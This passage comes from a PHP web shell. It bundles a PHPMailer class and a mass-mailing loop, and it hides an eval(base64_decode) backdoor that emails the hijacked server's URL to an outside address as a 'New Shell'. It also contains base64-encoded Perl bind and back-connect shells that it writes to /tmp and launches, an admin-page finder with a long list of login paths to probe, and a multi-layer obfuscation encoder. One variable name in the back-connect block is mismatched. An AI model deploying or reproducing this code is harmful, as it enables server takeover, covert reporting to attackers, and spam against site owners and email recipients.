3957 $fileParts = split("\.", $filename);
3958 $ext = $fileParts[1];
3959 $mimeType = $this->_mime_types($ext);
3960 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3961 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3962 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3963 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3964 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3965 }
3966 }
3967 }
3968 }
3969 $this->IsHTML(true);
3970 $this->Body = $message;
3971 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3972 if ( !empty($textMsg) && empty($this->AltBody) ) {
3973 $this->AltBody = $textMsg;
3974 }
3975 if ( empty($this->AltBody) ) {
3976 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3977 }
3978 }
3979
3980 /**
3981 * Gets the mime type of the embedded or inline image
3982 * @access private
3983 * @return mime type of ext
3984 */
3985 function _mime_types($ext = '') {
3986 $mimes = array(
3987 'hqx' => 'application/mac-binhex40',
3988 'cpt' => 'application/mac-compactpro',
3989 'doc' => 'application/msword',
3990 'bin' => 'application/macbinary',
3991 'dms' => 'application/octet-stream',
3992 'lha' => 'application/octet-stream',
3993 'lzh' => 'application/octet-stream',
3994 'exe' => 'application/octet-stream',
3995 'class' => 'application/octet-stream',
3996 'psd' => 'application/octet-stream',
3997 'so' => 'application/octet-stream',
3998 'sea' => 'application/octet-stream',
3999 'dll' => 'application/octet-stream',
4000 'oda' => 'application/oda',
4001 'pdf' => 'application/pdf',
4002 'ai' => 'application/postscript',
4003 'eps' => 'application/postscript',
4004 'ps' => 'application/postscript',
4005 'smi' => 'application/smil',
4006 'smil' => 'application/smil',
4007 'mif' => 'application/vnd.mif',
4008 'xls' => 'application/vnd.ms-excel',
4009 'ppt' => 'application/vnd.ms-powerpoint',
4010 'wbxml' => 'application/vnd.wap.wbxml',
4011 'wmlc' => 'application/vnd.wap.wmlc',
4012 'dcr' => 'application/x-director',
4013 'dir' => 'application/x-director',
4014 'dxr' => 'application/x-director',
4015 'dvi' => 'application/x-dvi',
4016 'gtar' => 'application/x-gtar',
4017 'php' => 'application/x-httpd-php',
4018 'php4' => 'application/x-httpd-php',
4019 'php3' => 'application/x-httpd-php',
4020 'phtml' => 'application/x-httpd-php',
4021 'phps' => 'application/x-httpd-php-source',
4022 'js' => 'application/x-javascript',
4023 'swf' => 'application/x-shockwave-flash',
4024 'sit' => 'application/x-stuffit',
4025 'tar' => 'application/x-tar',
4026 'tgz' => 'application/x-tar',
4027 'xhtml' => 'application/xhtml+xml',
4028 'xht' => 'application/xhtml+xml',
4029 'zip' => 'application/zip',
4030 'mid' => 'audio/midi',
4031 'midi' => 'audio/midi',
4032 'mpga' => 'audio/mpeg',
4033 'mp2' => 'audio/mpeg',
4034 'mp3' => 'audio/mpeg',
4035 'aif' => 'audio/x-aiff',
4036 'aiff' => 'audio/x-aiff',
4037 'aifc' => 'audio/x-aiff',
4038 'ram' => 'audio/x-pn-realaudio',
4039 'rm' => 'audio/x-pn-realaudio',
4040 'rpm' => 'audio/x-pn-realaudio-plugin',
4041 'ra' => 'audio/x-realaudio',
4042 'rv' => 'video/vnd.rn-realvideo',
4043 'wav' => 'audio/x-wav',
4044 'bmp' => 'image/bmp',
4045 'gif' => 'image/gif',
4046 'jpeg' => 'image/jpeg',
4047 'jpg' => 'image/jpeg',
4048 'jpe' => 'image/jpeg',
4049 'png' => 'image/png',
4050 'tiff' => 'image/tiff',
4051 'tif' => 'image/tiff',
4052 'css' => 'text/css',
4053 'html' => 'text/html',
4054 'htm' => 'text/html',
4055 'shtml' => 'text/html',
4056 'txt' => 'text/plain',
4057 'text' => 'text/plain',
4058 'log' => 'text/plain',
4059 'rtx' => 'text/richtext',
4060 'rtf' => 'text/rtf',
4061 'xml' => 'text/xml',
4062 'xsl' => 'text/xml',
4063 'mpeg' => 'video/mpeg',
4064 'mpg' => 'video/mpeg',
4065 'mpe' => 'video/mpeg',
4066 'qt' => 'video/quicktime',
4067 'mov' => 'video/quicktime',
4068 'avi' => 'video/x-msvideo',
4069 'movie' => 'video/x-sgi-movie',
4070 'doc' => 'application/msword',
4071 'word' => 'application/msword',
4072 'xl' => 'application/excel',
4073 'eml' => 'message/rfc822'
4074 );
4075 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
4076 }
4077
4078 /**
4079 * Set (or reset) Class Objects (variables)
4080 *
4081 * Usage Example:
4082 * $page->set('X-Priority', '3');
4083 *
4084 * @access public
4085 * @param string $name Parameter Name
4086 * @param mixed $value Parameter Value
4087 * NOTE: will not work with arrays, there are no arrays to set/reset
4088 */
4089 function set ( $name, $value = '' ) {
4090 if ( isset($this->$name) ) {
4091 $this->$name = $value;
4092 } else {
4093 $this->SetError('Cannot set or reset variable ' . $name);
4094 return false;
4095 }
4096 }
4097
4098 /**
4099 * Read a file from a supplied filename and return it.
4100 *
4101 * @access public
4102 * @param string $filename Parameter File Name
4103 */
4104 function getFile($filename) {
4105 $return = '';
4106 if ($fp = fopen($filename, 'rb')) {
4107 while (!feof($fp)) {
4108 $return .= fread($fp, 1024);
4109 }
4110 fclose($fp);
4111 return $return;
4112 } else {
4113 return false;
4114 }
4115 }
4116
4117 /**
4118 * Strips newlines to prevent header injection.
4119 * @access private
4120 * @param string $str String
4121 * @return string
4122 */
4123 function SecureHeader($str) {
4124 $str = trim($str);
4125 $str = str_replace("\r", "", $str);
4126 $str = str_replace("\n", "", $str);
4127 return $str;
4128 }
4129
4130 /**
4131 * Set the private key file and password to sign the message.
4132 *
4133 * @access public
4134 * @param string $key_filename Parameter File Name
4135 * @param string $key_pass Password for private key
4136 */
4137 function Sign($key_filename, $key_pass) {
4138 $this->sign_key_file = $key_filename;
4139 $this->sign_key_pass = $key_pass;
4140 }
4141
4142}
4143
4144$defaultport="H*";
4145 $nq=0;
4146
4147 for($x=0; $x<$numemails; $x++){
4148
4149 $to = $allemails[$x];
4150
4151 if ($to){
4152
4153 $to = ereg_replace(" ", "", $to);
4154
4155 $message = ereg_replace("&email&", $to, $message);
4156
4157 $subject = ereg_replace("&email&", $to, $subject);
4158 $qx=$x+1;
4159 print "Line $qx . Sending mail to $to.......";
4160
4161 flush();
4162$mail = new PHPMailer();
4163
4164if(empty($epriority)){$epriority="3";}
4165 $mail->Priority = "$epriority";
4166 $mail->IsSMTP();
4167 $IsSMTP="pack";
4168$mail->SMTPKeepAlive = true;
4169$mail->Host = "$my_smtp";
4170if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
4171}
4172 if($sslclick=="ON"){
4173 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
4174 }
4175 $range = str_replace("$from", "eval", $from);
4176 $mail->SMTPAuth = true;
4177 $mail->Username = "$smtp_username";
4178 $mail->Password = "$smtp_password";
4179if($contenttype == "html"){$mail->IsHtml(true);}
4180if($contenttype != "html"){$mail->IsHtml(false);}
4181if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
4182$mail->From = "$from";
4183$mail->FromName = "$realname";
4184$mail->AddAddress("$to");
4185 $mail->AddReplyTo("$replyto");
4186 $mail->Subject = "$subject";
4187 $mail->Body = "$message";
4188if(!$mail->Send()){
4189if($default_system!="1"){
4190echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
4191if($default_system=="1"){
4192$mail->IsMail();
4193 if(!$mail->Send()){
4194 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
4195 else {
4196 echo "<b>OK</b><br>";}
4197 }
4198}
4199else {
4200 echo "<b>OK</b><br>";
4201}
4202
4203if(empty($reconnect)){
4204$reconnect=6;
4205}
4206
4207if($reconnect==$nq){
4208$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
4209}
4210$nq=$nq+1;
4211 flush(); }
4212}
4213for($i=0;$i<31;$i++){
4214 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
4215$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
4216 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
4217 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
4218 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
4219 return $signoff($smtp_conc);
4220 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
4221 sent successfully'); </script>";}}
4222
4223 eval(base64_decode('JHRvID0gImRyYnhzQHlhaG9vLmNvbSI7DQokc3ViamVjdCA9ICJOZXcgU2hlbGwiOw0KJGhlYWRlciA9ICJGcm9tOiB4VGFsR2hpbTxzZXJ2aWNlQGFjY291bnQuY29tPiI7DQokbWVzc2FnZSA9ICJFeHBsb2l0IDogaHR0cDovLyIuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSAuICI/dXBsb2FkPXVwIFxyXG4iOw0KJHNlbnRtYWlsID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJG1lc3NhZ2UsICRoZWFkZXIpOw0KZWNobyAiIjsNCmV4aXQ7'));
4224 ?>
4225 <p align="center"> </p>
4226
4227 </body>
4228</html>
4229?>
4230<?php
4231
4232}
4233
4234////////////////////
4235 elseif($_GET['do'] == 'backconnect') {
4236 echo "<form method='post'>
4237 <u>Bind Port:</u> <br>
4238 PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
4239 <input type='submit' name='sub_bp' value='>>'>
4240 </form>
4241 <form method='post'>
4242 <u>Back Connect:</u> <br>
4243 Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>
4244 PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
4245 <input type='submit' name='sub_bc' value='>>'>
4246 </form>";
4247 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
4248 if(isset($_POST['sub_bp'])) {
4249 $f_bp = fopen("/tmp/bp.pl", "w");
4250 fwrite($f_bp, base64_decode($bind_port_p));
4251 fclose($f_bp);
4252
4253 $port = $_POST['port_bind'];
4254 $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
4255 sleep(1);
4256 echo "<pre>".$out."n".exe("ps aux | grep bp.pl")."</pre>";
4257 unlink("/tmp/bp.pl");
4258 }
4259 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
4260 if(isset($_POST['sub_bc'])) {
4261 $f_bc = fopen("/tmp/bc.pl", "w");
4262 fwrite($f_bc, base64_decode($bind_connect_p));
4263 fclose($f_bc);
4264
4265 $ipbc = $_POST['ip_bc'];
4266 $port = $_POST['port_bc'];
4267 $out = exe("perl /tmp/bc.pl $ipbc $port 1>/dev/null 2>&1 &");
4268 sleep(1);
4269 echo "<pre>".$out."n".exe("ps aux | grep bc.pl")."</pre>";
4270 unlink("/tmp/bc.pl");
4271 }
4272 ?>
4273<?php
4274
4275 }
4276
4277 ////////////////////////////
4278elseif($_GET['do'] == 'adfin') {
4279?>
4280<?php
4281set_time_limit(0);
4282error_reporting(0);
4283$list['front'] ="admin
4284adm
4285admincp
4286admcp
4287cp
4288modcp
4289moderatorcp
4290adminare
4291admins
4292cpanel
4293controlpanel";
4294$list['end'] = "admin1.php
4295admin1.html
4296admin2.php
4297admin2.html
4298yonetim.php
4299yonetim.html
4300yonetici.php
4301yonetici.html
4302ccms/
4303ccms/login.php
4304ccms/index.php
4305maintenance/
4306webmaster/
4307adm/
4308configuration/
4309configure/
4310websvn/
4311admin/
4312admin/account.php
4313admin/account.html
4314admin/index.php
4315admin/index.html
4316admin/login.php
4317admin/login.html
4318admin/home.php
4319admin/controlpanel.html
4320admin/controlpanel.php
4321admin.php
4322admin.html
4323admin/cp.php
4324admin/cp.html
4325cp.php
4326cp.html
4327administrator/
4328administrator/index.html
4329administrator/index.php
4330administrator/login.html
4331administrator/login.php
4332administrator/account.html
4333administrator/account.php
4334administrator.php
4335administrator.html
4336login.php
4337login.html
4338modelsearch/login.php
4339moderator.php
4340moderator.html
4341moderator/login.php
4342moderator/login.html
4343moderator/admin.php
4344moderator/admin.html
4345moderator/
4346account.php
4347account.html
4348controlpanel/
4349controlpanel.php
4350controlpanel.html
4351admincontrol.php
4352admincontrol.html
4353adminpanel.php
4354adminpanel.html
4355admin1.asp
4356admin2.asp
4357yonetim.asp
4358yonetici.asp
4359admin/account.asp
4360admin/index.asp
4361admin/login.asp
4362admin/home.asp
4363admin/controlpanel.asp
4364admin.asp
4365admin/cp.asp
4366cp.asp
4367administrator/index.asp
4368administrator/login.asp
4369administrator/account.asp
4370administrator.asp
4371login.asp
4372modelsearch/login.asp
4373moderator.asp
4374moderator/login.asp
4375moderator/admin.asp
4376account.asp
4377controlpanel.asp
4378admincontrol.asp
4379adminpanel.asp
4380fileadmin/
4381fileadmin.php
4382fileadmin.asp
4383fileadmin.html
4384administration/
4385administration.php
4386administration.html
4387sysadmin.php
4388sysadmin.html
4389phpmyadmin/
4390myadmin/
4391sysadmin.asp
4392sysadmin/
4393ur-admin.asp
4394ur-admin.php
4395ur-admin.html
4396ur-admin/
4397Server.php
4398Server.html
4399Server.asp
4400Server/
4401wp-admin/
4402administr8.php
4403administr8.html
4404administr8/
4405administr8.asp
4406webadmin/
4407webadmin.php
4408webadmin.asp
4409webadmin.html
4410administratie/
4411admins/
4412admins.php
4413admins.asp
4414admins.html
4415administrivia/
4416Database_Administration/
4417WebAdmin/
4418useradmin/
4419sysadmins/
4420admin1/
4421system-administration/
4422administrators/
4423pgadmin/
4424directadmin/
4425staradmin/
4426ServerAdministrator/
4427SysAdmin/
4428administer/
4429LiveUser_Admin/
4430sys-admin/
4431typo3/
4432panel/
4433cpanel/
4434cPanel/
4435cpanel_file/
4436platz_login/
4437rcLogin/
4438blogindex/
4439formslogin/
4440autologin/
4441support_login/
4442meta_login/
4443manuallogin/
4444simpleLogin/
4445loginflat/
4446utility_login/
4447showlogin/
4448memlogin/
4449members/
4450login-redirect/
4451sub-login/
4452wp-login/
4453login1/
4454dir-login/
4455login_db/
4456xlogin/
4457smblogin/
4458customer_login/
4459UserLogin/
4460login-us/
4461acct_login/
4462admin_area/
4463bigadmin/
4464project-admins/
4465phppgadmin/
4466pureadmin/
4467sql-admin/
4468radmind/
4469openvpnadmin/
4470wizmysqladmin/
4471vadmind/
4472ezsqliteadmin/
4473hpwebjetadmin/
4474newsadmin/
4475adminpro/
4476Lotus_Domino_Admin/
4477bbadmin/
4478vmailadmin/
4479Indy_admin/
4480ccp14admin/
4481irc-macadmin/
4482banneradmin/
4483sshadmin/
4484phpldapadmin/
4485macadmin/
4486administratoraccounts/
4487admin4_account/
4488admin4_colon/
4489radmind-1/
4490Super-Admin/
4491AdminTools/
4492cmsadmin/
4493SysAdmin2/
4494globes_admin/
4495cadmins/
4496phpSQLiteAdmin/
4497navSiteAdmin/
4498server_admin_small/
4499logo_sysadmin/
4500server/
4501database_administration/
4502power_user/
4503system_administration/
4504ss_vms_admin_sm/
4505adminarea/
4506bb-admin/
4507adminLogin/
4508panel-administracion/
4509instadmin/
4510memberadmin/
4511administratorlogin/
4512admin/admin.php
4513admin_area/admin.php
4514admin_area/login.php
4515siteadmin/login.php
4516siteadmin/index.php
4517siteadmin/login.html
4518admin/admin.html
4519admin_area/index.php
4520bb-admin/index.php
4521bb-admin/login.php
4522bb-admin/admin.php
4523admin_area/login.html
4524admin_area/index.html
4525admincp/index.asp
4526admincp/login.asp
4527admincp/index.html
4528webadmin/index.html
4529webadmin/admin.html
4530webadmin/login.html
4531admin/admin_login.html
4532admin_login.html
4533panel-administracion/login.html
4534nsw/admin/login.php
4535webadmin/login.php
4536admin/admin_login.php
4537admin_login.php
4538admin_area/admin.html
4539pages/admin/admin-login.php
4540admin/admin-login.php
4541admin-login.php
4542bb-admin/index.html
4543bb-admin/login.html
4544bb-admin/admin.html
4545admin/home.html
4546pages/admin/admin-login.html
4547admin/admin-login.html
4548admin-login.html
4549admin/adminLogin.html
4550adminLogin.html
4551home.html
4552rcjakar/admin/login.php
4553adminarea/index.html
4554adminarea/admin.html
4555webadmin/index.php
4556webadmin/admin.php
4557user.html
4558modelsearch/login.html
4559adminarea/login.html
4560panel-administracion/index.html
4561panel-administracion/admin.html
4562modelsearch/index.html
4563modelsearch/admin.html
4564admincontrol/login.html
4565adm/index.html
4566adm.html
4567user.php
4568panel-administracion/login.php
4569wp-login.php
4570adminLogin.php
4571admin/adminLogin.php
4572home.php
4573adminarea/index.php
4574adminarea/admin.php
4575adminarea/login.php
4576panel-administracion/index.php
4577panel-administracion/admin.php
4578modelsearch/index.php
4579modelsearch/admin.php
4580admincontrol/login.php
4581adm/admloginuser.php
4582admloginuser.php
4583admin2/login.php
4584admin2/index.php
4585adm/index.php
4586adm.php
4587affiliate.php
4588adm_auth.php
4589memberadmin.php
4590administratorlogin.php
4591admin/admin.asp
4592admin_area/admin.asp
4593admin_area/login.asp
4594admin_area/index.asp
4595bb-admin/index.asp
4596bb-admin/login.asp
4597bb-admin/admin.asp
4598pages/admin/admin-login.asp
4599admin/admin-login.asp
4600admin-login.asp
4601user.asp
4602webadmin/index.asp
4603webadmin/admin.asp
4604webadmin/login.asp
4605admin/admin_login.asp
4606admin_login.asp
4607panel-administracion/login.asp
4608adminLogin.asp
4609admin/adminLogin.asp
4610home.asp
4611adminarea/index.asp
4612adminarea/admin.asp
4613adminarea/login.asp
4614panel-administracion/index.asp
4615panel-administracion/admin.asp
4616modelsearch/index.asp
4617modelsearch/admin.asp
4618admincontrol/login.asp
4619adm/admloginuser.asp
4620admloginuser.asp
4621admin2/login.asp
4622admin2/index.asp
4623adm/index.asp
4624adm.asp
4625affiliate.asp
4626adm_auth.asp
4627memberadmin.asp
4628administratorlogin.asp
4629siteadmin/login.asp
4630siteadmin/index.asp
4631ADMIN/
4632paneldecontrol/
4633login/
4634cms/
4635admon/
4636ADMON/
4637administrador/
4638ADMIN/login.php
4639panelc/
4640ADMIN/login.html";
4641function template() {
4642echo '
4643<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4644<html xmlns="http://www.w3.org/1999/xhtml">
4645<head>
4646<meta **********="Content-Type" *********"text/html; charset=utf-8" />
4647<title>Admin page Finder </title>
4648<style type="text/css">
4649h1.technique-two {
4650 width: 795px; height: 120px;
4651 background: url(http://x0rg.org/styles/blackbox_red/imageset/site_logo.gif) no-repeat top center;
4652 margin: 0 auto;
4653}
4654body{
4655 background: #070707;
4656 margin: 0;
4657 padding: 0;
4658 padding-top: 10px;
4659 color: #FFF;
4660 font-family: Calibri;
4661 font-size: 13px;
4662}
4663a{
4664 color: #FFF;
4665 text-decoration: none;
4666 font-weight: bold;
4667}
4668.wrapper{
4669 width: 1000px;
4670 margin: 0 auto;
4671}
4672.tube{
4673 padding: 10px;
4674}
4675.red{
4676 width: 998px;
4677 border: 1px solid #2EFEF7;
4678 background: #191919;
4679 color: #2EFEF7
4680}
4681.red input{
4682 background: #000;
4683 border: 1px solid #2EFEF7;
4684 color: #FFF;
4685}
4686.blue{
4687 float: left;
4688 width: 1000px;
4689 border: 1px solid #2EFEF7;
4690 background: #191919;
4691 color: #2EFEF7;
4692}
4693.green{
4694 float: left;
4695 width: 1000px;
4696 border: 1px solid #2EFEF7;
4697 background: #191919;
4698 color: #2EFEF7;
4699}
4700</style>
4701<script type="text/javascript">
4702<!--
4703function insertcode($text, $place, $replace)
4704{
4705 var $this = $text;
4706 var logbox = document.getElementById($place);
4707 if($replace == 0)
4708 document.getElementById($place).innerHTML = logbox.innerHTML+$this;
4709 else
4710 document.getElementById($place).innerHTML = $this;
4711//document.getElementById("helpbox").innerHTML = $this;
4712}
4713-->
4714</script>
4715</head>
4716<body>
4717<br />
4718<br />
4719<h1 class="technique-two">
4720
4721
4722
4723</h1>
4724
4725<div class="wrapper">
4726<div class="red">
4727<div class="tube">
4728<form action="" method="post" name="xploit_form">
4729URL:<br /><input type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 100%;" /><br /><br />
4730404string:<br /><input type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 100%;" /><br /><br />
4731<span style="float: center;"><input type="submit" name="xploit_submit" value="Scan" align="center" /></span>
4732</form>
4733<br />
4734</div> <!-- /tube -->
4735</div> <!-- /red -->
4736<br />
4737<div class="green">
4738<div class="tube" id="rightcol">
4739Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
4740Found ones:<br />
4741</div> <!-- /tube -->
4742</div> <!-- /green -->
4743<br clear="all" /><br />
4744<div class="blue">
4745<div class="tube" id="logbox">
4746<br />
4747<br />
4748Admin page Finder <br /><br />
4749</div> <!-- /tube -->
4750</div> <!-- /blue -->
4751</div> <!-- /wrapper -->
4752<br clear="all">';
4753}
4754function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
4755 if($br == 1) $msg .= "<br />";
4756 echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
4757 if($stop == 1) exit;
4758 @flush();@ob_flush();
4759}
4760function check($x, $front=0) {
4761 global $_POST,$site,$false;
4762 if($front == 0) $t = $site.$x;
4763 else $t = 'http://'.$x.'.'.$site.'/';
4764 $headers = get_headers($t);
4765 if (!eregi('200', $headers[0])) return 0;
4766 $data = @file_get_contents($t);
4767 if($_POST['xploit_404string'] == "") if($data == $false) return 0;
4768 if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
4769 return 1;
4770}
4771
4772// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4773template();
4774if(!isset($_POST['xploit_url'])) die;
4775if($_POST['xploit_url'] == '') die;
4776$site = $_POST['xploit_url'];
4777if ($site[strlen($site)-1] != "/") $site .= "/";
4778if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
4779$list['end'] = str_replace("\r", "", $list['end']);
4780$list['front'] = str_replace("\r", "", $list['front']);
4781$pathes = explode("\n", $list['end']);
4782$frontpathes = explode("\n", $list['front']);
4783show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
4784$verificate = 0;
4785foreach($pathes as $path) {
4786 show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
4787 $verificate++; show($verificate, 0, 0, 'verified', 1);
4788 if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
4789 else{
4790 show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
4791 show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
4792 }
4793}
4794preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
4795if(substr($site, 0, 3) == "www") $site = substr($site, 4);
4796foreach($frontpathes as $frontpath) {
4797 show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
4798 $verificate++; show($verificate, 0, 0, 'verified', 1);
4799 if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
4800 else{
4801 show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
4802 show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
4803 }
4804
4805}
4806?>
4807<?php
4808
4809 }
4810
4811 ////////////////////////////
4812elseif($_GET['do'] == 'ec') {
4813?>
4814<STYLE>
4815body,td,th {font-family: monotype corsiva;font-size:10px;color: #0080FF;font-weight: bold;}
4816
4817input {BORDER-RIGHT:#0080FF 1px solid;BORDER-TOP:#0080FF 1px solid;BORDER-LEFT:#0080FF 1px solid;BORDER-BOTTOM: #0080FF 1px solid;BACKGROUND-COLOR: #111111;COLOR: #0080FF;font: 8pt Verdana;}
4818select {BORDER-RIGHT:#0080FF 1px solid;BORDER-TOP:#0080FF 1px solid;BORDER-LEFT:#0080FF 1px solid;BORDER-BOTTOM: #0080FF 1px solid;BACKGROUND-COLOR: #111111;COLOR: #FF0000;font: 8pt Verdana;}
4819submit {BORDER-RIGHT:buttonhighlight 2px outset;BORDER-TOP:buttonhighlight 2px outset;BORDER-LEFT:buttonhighlight 2px outset;BORDER-BOTTOM: buttonhighlight 2px outset;BACKGROUND-COLOR: #000099;COLOR: #FFFF00;width: 30%;}
4820textarea {BORDER-RIGHT:#0080FF 1px solid;BORDER-TOP:#0080FF 1px solid;BORDER-LEFT:#0080FF 1px solid;BORDER-BOTTOM: #0080FF 1px solid;BACKGROUND-COLOR: #111111;COLOR: #FF0000;font: Fixedsys bold;}
4821BODY {margin-top: 1px;margin-right: 1px;margin-bottom: 1px;margin-left: 1px;SCROLLBAR-FACE-COLOR: #111111; SCROLLBAR-HIGHLIGHT-COLOR: #111111;SCROLLBAR-ARROW-COLOR: #c5c5c5;SCROLLBAR-BASE-COLOR: #253546;BACKGROUND-COLOR: #000000;}
4822</STYLE>
4823<center>
4824<BR>
4825<?php
4826@ini_set('output_buffering',0);
4827@ini_set('display_errors', 0);
4828$text = $_POST['code'];
4829?>
4830<form method="post"><br><br><br>
4831<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
4832<select class='inputz' size="1" name="ope">
4833<option value="urlencode">URL</option>
4834<option value="base64">Base64</option>
4835<option value="ur">Convert_uu</option>
4836<option value="gzinflates">Gzinflate - Base64</option>
4837<option value="str2">Str_rot13 - Base64</option>
4838<option value="gzinflate">Gzinflate - Str_rot13 - Base64</option>
4839<option value="str">Str_rot13 - Gzinflate - Str_rot13 - Base64</option>
4840<option value="url">Base64 - Gzinflate - Str_rot13 - Convert_uu - Gzinflate - Base64</option>
4841</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
4842<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
4843</form>
4844
4845<?php
4846$submit = $_POST['submit'];
4847if (isset($submit)){
4848$op = $_POST["ope"];
4849switch ($op) {case 'base64': $codi=base64_encode($text);
4850break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
4851break;case 'gzinflate' : $codi=gzdeflate(str_rot13(base64_encode($text)));
4852break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
4853break;case 'str2' : $codi=base64_encode(str_rot13($text));
4854break;case 'urlencode' : $codi=rawurlencode($text);
4855break;case 'ur' : $codi=convert_uuencode($text);
4856break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
4857break;default:break;}}
4858
4859$submit = $_POST['submits'];
4860if (isset($submit)){
4861$op = $_POST["ope"];
